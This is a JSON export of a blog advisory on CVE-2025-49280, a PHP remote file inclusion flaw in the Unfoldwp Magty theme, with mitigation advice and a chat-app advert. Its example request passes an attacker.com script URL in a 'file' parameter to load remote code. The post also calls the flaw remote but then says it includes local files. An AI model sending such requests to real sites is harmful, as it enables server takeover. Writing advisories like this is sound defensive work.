{"id":54210,"date":"2025-06-23T03:22:21","date_gmt":"2025-06-23T03:22:21","guid":{"rendered":""},"modified":"2025-10-22T19:05:08","modified_gmt":"2025-10-23T01:05:08","slug":"cve-2025-49280-critical-php-remote-file-inclusion-vulnerability-in-unfoldwp-magty","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-49280-critical-php-remote-file-inclusion-vulnerability-in-unfoldwp-magty\/","title":{"rendered":"<strong>CVE-2025-49280: Critical PHP Remote File Inclusion Vulnerability in Unfoldwp Magty<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>CVE-2025-49280 is a vital vulnerability that affects Unfoldwp Magty &#8211; a widely utilized platform for creating professional websites. This vulnerability arises from improper control of filename for Include\/Require statement in PHP Program, specifically a &#8216;PHP Remote File Inclusion&#8217; (RFI) vulnerability. In essence, the vulnerability allows potential attackers to include local files from the server, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5901-buffer-overflow-vulnerability-in-totolink-t10-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"60541\">leading to potential system<\/a> compromise or data leakage. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-41661-unauthenticated-remote-command-execution-vulnerability-due-to-csrf-in-main-web-interface\/\"  data-wpil-monitor-id=\"61140\">vulnerability is of significant concern due<\/a> to its high CVSS Severity Score and the substantial impact it could have on the affected systems.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-49280<br \/>\nSeverity: Critical (CVSS: 8.1)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-40912-critical-vulnerability-in-cryptx-for-perl-allows-potential-system-compromise\/\"  data-wpil-monitor-id=\"60774\">Potential system<\/a> compromise and data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1274868322\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Unfoldwp Magty | n\/a through 1.0.6<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit works by taking advantage of the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-33073-windows-smb-improper-access-control-vulnerability\/\"  data-wpil-monitor-id=\"61068\">improper control<\/a> of filename for Include\/Require statement in a PHP Program. The PHP &#8216;include&#8217; and &#8216;require&#8217; statements are used to insert useful <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4981-critical-file-extraction-vulnerability-in-mattermost-leading-to-potential-remote-code-execution\/\"  data-wpil-monitor-id=\"63062\">codes written in other files<\/a>, in the flow of execution. In this particular case, an attacker could manipulate these statements to include <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48125-high-risk-php-remote-file-inclusion-vulnerability-in-wp-event-manager\/\"  data-wpil-monitor-id=\"61891\">files from a remote<\/a> server, instead of local ones. Once the remote files are included, the attacker can execute arbitrary commands, possibly <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5978-critical-vulnerability-in-tenda-fh1202-1-2-0-14-potentially-leading-to-system-compromise\/\"  data-wpil-monitor-id=\"61016\">leading to full system<\/a> control or data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-950429727\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6001-cross-site-request-forgery-vulnerability-in-virtuemart-product-image-upload-function\/\"  data-wpil-monitor-id=\"62187\">vulnerability might be exploited using a malicious HTTP request:<\/a><\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?file=http:\/\/attacker.com\/malicious_script.txt HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n<p>In this example, the attacker is requesting the &#8216;index.php&#8217; page, but with a parameter (&#8216;file&#8217;) pointing to a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7390-malicious-client-bypass-of-opc-https-server-certificate-trust-check\/\"  data-wpil-monitor-id=\"81883\">malicious script hosted on their own server<\/a> (&#8216;attacker.com&#8217;). The PHP &#8216;include&#8217; or &#8216;require&#8217; statement would then load and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5491-acer-controlcenter-remote-code-execution-vulnerability-potential-system-compromise\/\"  data-wpil-monitor-id=\"61224\">execute this remote<\/a> file, causing the malicious script to be executed on the target server.<\/p>\n<p><strong>How to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39486-rankie-sql-injection-vulnerability-and-mitigation-measures\/\"  data-wpil-monitor-id=\"63063\">Mitigate the Vulnerability<\/a><\/strong><\/p>\n<p>To mitigate this vulnerability, users of Unfoldwp Magty should apply the vendor patch as soon as possible. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These systems can be configured to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-45984-critical-command-injection-vulnerability-detected-in-blink-routers\/\"  data-wpil-monitor-id=\"61358\">detect and block attempts at exploiting this vulnerability<\/a>, thereby protecting the system until the patch can be applied.<br \/>\nRemember, regular patching and updating of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7093-critical-vulnerability-in-belkin-f9k1122-1-00-33-impacting-system-security-and-data-integrity\/\"  data-wpil-monitor-id=\"91111\">systems is a key aspect of maintaining a secure<\/a> IT environment. Being proactive in addressing <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-38824-critical-directory-traversal-vulnerability-exposing-system-files\/\"  data-wpil-monitor-id=\"61198\">vulnerabilities can significantly reduce the risk of system<\/a> compromise or data leakage.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview CVE-2025-49280 is a vital vulnerability that affects Unfoldwp Magty &#8211; a widely utilized platform for creating professional websites. This vulnerability arises from improper control of filename for Include\/Require statement in PHP Program, specifically a &#8216;PHP Remote File Inclusion&#8217; (RFI) vulnerability. In essence, the vulnerability allows potential attackers to include local files from the server, [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-54210","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/54210","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=54210"}],"version-history":[{"count":13,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/54210\/revisions"}],"predecessor-version":[{"id":84130,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/54210\/revisions\/84130"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=54210"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=54210"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=54210"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=54210"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=54210"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=54210"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=54210"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=54210"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=54210"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}